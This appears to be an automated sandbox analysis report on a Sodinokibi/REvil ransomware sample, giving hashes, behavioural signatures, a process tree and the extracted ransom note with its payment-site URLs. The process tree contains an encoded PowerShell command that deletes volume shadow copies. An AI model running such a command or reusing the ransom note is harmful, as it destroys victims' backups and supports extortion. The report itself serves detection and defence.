Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-06-2024 08:44

General

  • Target

    8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    8d7eaf2d466b138f7d3a12d17a1e3126

  • SHA1

    f75aee8361cfff77fdd045c32769e385d3e8f5df

  • SHA256

    64f3d2db7a782fef79f46763d4ee2f83de2d656ba5813e3b3d873c17dae3ca2e

  • SHA512

    eb28b302f0a858e636aca5a37897102af085cda436f15ead69761edcaa9275d6372ce1cf1164a45bebaeb68b8022202e0290d8cd0ef1b195f518fada6d2ce18b

  • SSDEEP

    3072:EJMawtnGqtWoKeZC62aoNUSnc6udZxnXa1:+w9vteQJYUocFdZF

Malware Config

Extracted

Path

C:\Users\2a1d2c-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 2a1d2c. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3757EB65624F59B7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3757EB65624F59B7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: JH5p/u3TOwIYME768rT48pQcRqDDeL9uEgJPMv0QOpaOXvPN/igIGuNPC9PV8GwW BGFvr+HGLkqhwZ0xRPHNJlopvO35aPOMS9msmNvQlnrBwE7MuoigWE6iy5Uc77qi l7iz77aEMhMiFvtSeYkj4E9RodTzj3MnrFy63iai51Q3qfVGdyTR83y4xvl85znf ztai3h0DIZOxW/uOYkIMH4drrfEBLL4zNqIQQ3uyQEkMmiF5xBweMfOKHmNuHc/t Pb8lUYJrQd3AT2+X7svcThO9bxjjk4h2N1rQYgO40wGt2AWbq0m4A8G9ixzsdyfK FozYHZp/POdzMWJSFgvNSC1fBgxH85/bkdvheViaqOfhN51NZxzF7SUptu7WQKl4 Fzqhm5HpcOkIQqANGeQuk+2D1hfBi3FJvXpz6qNzA1LRo5ZqfisZoYGEhcIFCS0y kTvOWkYJG3SaNgRlSmKEzvZ/GGIcl2vAqTUvbfhYVBFlZt1H+k/OodnFflcKMNtT /6lquXy5NVfEZkd9gZMHgFWRVPSig3HcXd3tAeOwzo9f13/wC/gR6HDh4TYRUNbd vMne9/I3hwR3idWDBz0CBfL3hyFkC+KZGdxShc3iH2/Jxbo2M1zxjP1JhaFRzriM nmro9SBSAS3Eih72kug3rFEAxCwgXYrTWbq/x/jdvNND1op/AxbFvjdPC+Eiy0FE msHPZiUpLSsaSuVWkmMkVZAMnKskVcEW+e21WUM/ctDoI/XE0umEtHTQw3Cosyvu thNQh88X6IbCpvrNkywoy/w4eZHGJZA3Ikr9rauaZugl7+t64fM9FFB0XYGRctip YVbgmNm9iwwy1cw9YjD7C3pzdfH5WaWAgHml82pfaA/k/X6GJeMsBVO1DSggPVtK zYITQ10DB6yQwmUlZJBi25yFGyPQG+XYl8AKM5O3zPBM62qN/vekqy1ZftBTUvFy DcFga8WbFXa/F/0M2LHcrB7jKxLK5NqL06iyOKcViCOEayU/yHB4BqK1Q+ud85bZ I/rYAG84NvPd4km99/1x7Oewk/yv1MNPFTBtttCGXYWfnnWKZt6tEWRq+M62xc/r PXKg07Rr126GAy9yuEtQynC9l+eclVzU7jVMAH2KtIVDuYg7ckJnbFGnLWA7pPWh dxIIYuWBWWbubRv0+bL5Sb1IgOHi00GIxrbY2xxPgywmq2B8i0OldeTLsAXWAJZG V8PlMRZ/och4Z1WwAWBnszRr+HQzvApAXq8/JfXBKza+aq5wZ8j6KJ5cjApOcXrA RJiJ1c7Rk4DlbCKVh7dNT5dUnPUjuTJfOHmZj1DpIuteW+Uwd98zMGzr6qZvIJI4 fzcQSSZewqHRr2c6osamLwKvNpt3xccvPuKT6CSU70ol7+b+ Extension name: 2a1d2c ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3757EB65624F59B7

http://decryptor.cc/3757EB65624F59B7

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 27 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 34 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2708
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:212
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4416

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\2a1d2c-readme.txt

      Filesize

      6KB

      MD5

      a33cee6edaef4cc2298ccede5fcd8d62

      SHA1

      584e227ae50dc69989f00f5a6bffad213642f501

      SHA256

      63339b46248e0f9e3cd223d11b06d1aa8608440dac0d1b5e57b3ef383094e784

      SHA512

      5ae9296061dc2296405b404ebffcaf0514d286213e776ff0abfe840a1367136c4921149a8cc13ccacd1881d8939103e2a4563b36f66d3b1438e43902adc5d28b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1c1j4sa2.zwy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2708-0-0x00007FFA735C3000-0x00007FFA735C5000-memory.dmp

      Filesize

      8KB

    • memory/2708-1-0x0000024D9E9D0000-0x0000024D9E9F2000-memory.dmp

      Filesize

      136KB

    • memory/2708-11-0x00007FFA735C0000-0x00007FFA74081000-memory.dmp

      Filesize

      10.8MB

    • memory/2708-12-0x00007FFA735C0000-0x00007FFA74081000-memory.dmp

      Filesize

      10.8MB

    • memory/2708-15-0x00007FFA735C0000-0x00007FFA74081000-memory.dmp

      Filesize

      10.8MB